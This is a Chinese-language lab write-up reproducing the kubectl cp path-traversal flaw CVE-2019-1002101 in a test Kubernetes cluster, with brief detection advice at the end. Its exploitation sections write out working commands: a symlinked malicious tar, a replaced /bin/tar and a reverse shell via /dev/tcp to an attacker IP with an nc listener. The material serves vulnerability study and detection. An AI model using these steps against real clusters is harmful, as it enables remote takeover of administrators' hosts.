漏洞简介

Twistlock的流程图很好的解释了kubectl cp漏洞的利用链及其原理。

  1. 启动一个被破坏或者恶意的容器

  2. 攻击者准备一个恶意的tar包(包含恶意软链接,例如:./baddir/twist->/proc/self/cwd)

  3. 此时容器中的二进制tar包被替换成恶意tar包

  4. 用户运行kubectl cp将文件从容器传输到宿主机

  5. kubectl提取恶意tar包中的文件(此时会解析其中的恶意软链接,即写入到宿主机的 /proc/self/cwd 路径)

  6. 攻击者可以控制恶意软链接,将文件写到宿主机任意位置

    bug

影响范围

Redhat Openshift_Container_Platform 3.10

Kubernetes 1.14.0

Redhat Openshift_Container_Platform 3.11

1.12.0 <= Kubernetes < 1.12.7

Redhat Openshift_Container_Platform 3.9

1.13.0 <= Kubernetes < 1.13.5

1.11.0 <= Kubernetes < 1.11.9

漏洞复现

实验环境

Kubernetes 1.11.1

实验过程

环境配置

  1. 使用Metarget创建单节点k8s集群
1
./metarget cnv install cve-2019-1002101 --domestic

image-20231009101802523

可以看到单节点集群环境安装成功(需要使用--domestic安装单节点k8s集群)

  1. 创建一个Pod并运行Nginx容器,查看运行状态
1
kubectl run nginx --image=nginx

image-20231009103109364

image-20231009103202133

brompwnie的做法

  1. 首先从github中获取我们需要的三个文件

image-20231009141000443

  1. 使用kubectl cp将文件传输到容器中(这样传文件比较方便)

注意:createPwnTar.sh中需要修改反弹shell命令中的x.x.x.x/端口为攻击机的ip和端口

1
2
3
kubectl cp /home/safedog/setupTar.sh nginx-64f497f8fd-wdsg2:.
kubectl cp /home/safedog/badbin nginx-64f497f8fd-wdsg2:.
kubectl cp /home/safedog/createPwnTar.sh nginx-64f497f8fd-wdsg2:.
  1. 赋予三个文件执行权限
1
chmod +x badbin setupTar.sh createPwnTar.sh
  1. 依次执行createPwnTar.sh和setupTar.sh
1
2
./createPwnTar.sh
./setupTar.sh

image-20231009141521362

  1. 攻击机远程监听,宿主机执行kubectl cp将恶意符号链接植入宿主机,之后只要在植入的路径打开终端便能够反弹shell

宿主机执行kubectl cp命令

image-20231009142741919

宿主机在路径下打开终端,攻击机获取反弹shell

image-20231009142847787

image-20231009142923329

h4ckm310n的做法

  1. 使用kubectl进入容器命令行,进行恶意tar包构造
1
kubectl exec -it nginx-64f497f8fd-wdsg2 -- /bin/bash

在当前目录下创建了一个名为 badbin 的符号链接,指向系统的 /bin 目录。

1
ln -s /bin ./badbin

这个步骤将 /bin 目录的符号链接badbin一起打包到了 malicious.tar 中。

1
tar -cf malicious.tar ./badbin

这个命令尝试删除当前目录下的 ./badbin 目录。但由于 ./badbin 是一个符号链接,删除操作不会影响到 /bin 目录,因为它只会删除链接而不会删除链接指向的目录。

1
rm -f ./badbin

这个命令在当前目录下创建了一个名为 ./badbin 的新目录。

1
mkdir ./badbin

这个命令使用 echo 将一段脚本写入 ./badbin/ls 文件。这段脚本实际上是一个简单的反向 shell,它试图连接到 IP 地址 172.27.5.11 的 TCP 端口 12345,并将命令执行的结果发送到该连接。这是一个潜在的恶意操作,可以用于入侵和远程控制目标系统。

1
echo -e '#!/bin/bash\n/bin/bash -i >& /dev/tcp/172.27.5.11/12345 0>&1' > ./badbin/ls

这个命令将 ./badbin/ls 文件的执行权限设置为可执行。

1
chmod +x ./badbin/ls

这个命令将新创建的 ./badbin/ls 文件添加到之前创建的 malicious.tar 归档文件中。

1
tar -rf malicious.tar ./badbin/ls

创建恶意test文件,内容如下。

1
2
#!/bin/bash
cat /malicious.tar

将其替换到/bin/tar中。

1
2
rm -rf /bin/tar
cp test /bin/tar
  1. 攻击机远程监听,宿主机执行kubectl cp将恶意符号链接植入宿主机,并执行ls命令触发反弹shell

kali攻击机进行监听

1
nc -lvvp 12345

宿主机执行

1
kubectl cp  nginx-64f497f8fd-wdsg2:test /home/safedog

宿主机执行kubectl cp成功后可以发现bin目录被携带下来

image-20231009140545804

宿主机执行成功后执行ls命令,可以在攻击机上获取反弹的shell

image-20231009140316389

image-20231009140228230

总结思考检测方式

  1. 版本检测

根据漏洞影响的版本信息进行检测

  1. 敏感目录/bin/tar

监控异常指令修改/bin/tar目录导致漏洞利用

参考链接

POC:

https://github.com/brompwnie/CVE-2019-1002101-Helpers

https://h4ckm310n.com/?p=528

漏洞通告:

https://discuss.kubernetes.io/t/announce-security-release-of-kubernetes-kubectl-potential-directory-traversal-releases-1-11-9-1-12-7-1-13-5-and-1-14-0-cve-2019-1002101/5712

本文采用CC-BY-SA-3.0协议,转载请注明出处
Author: Sally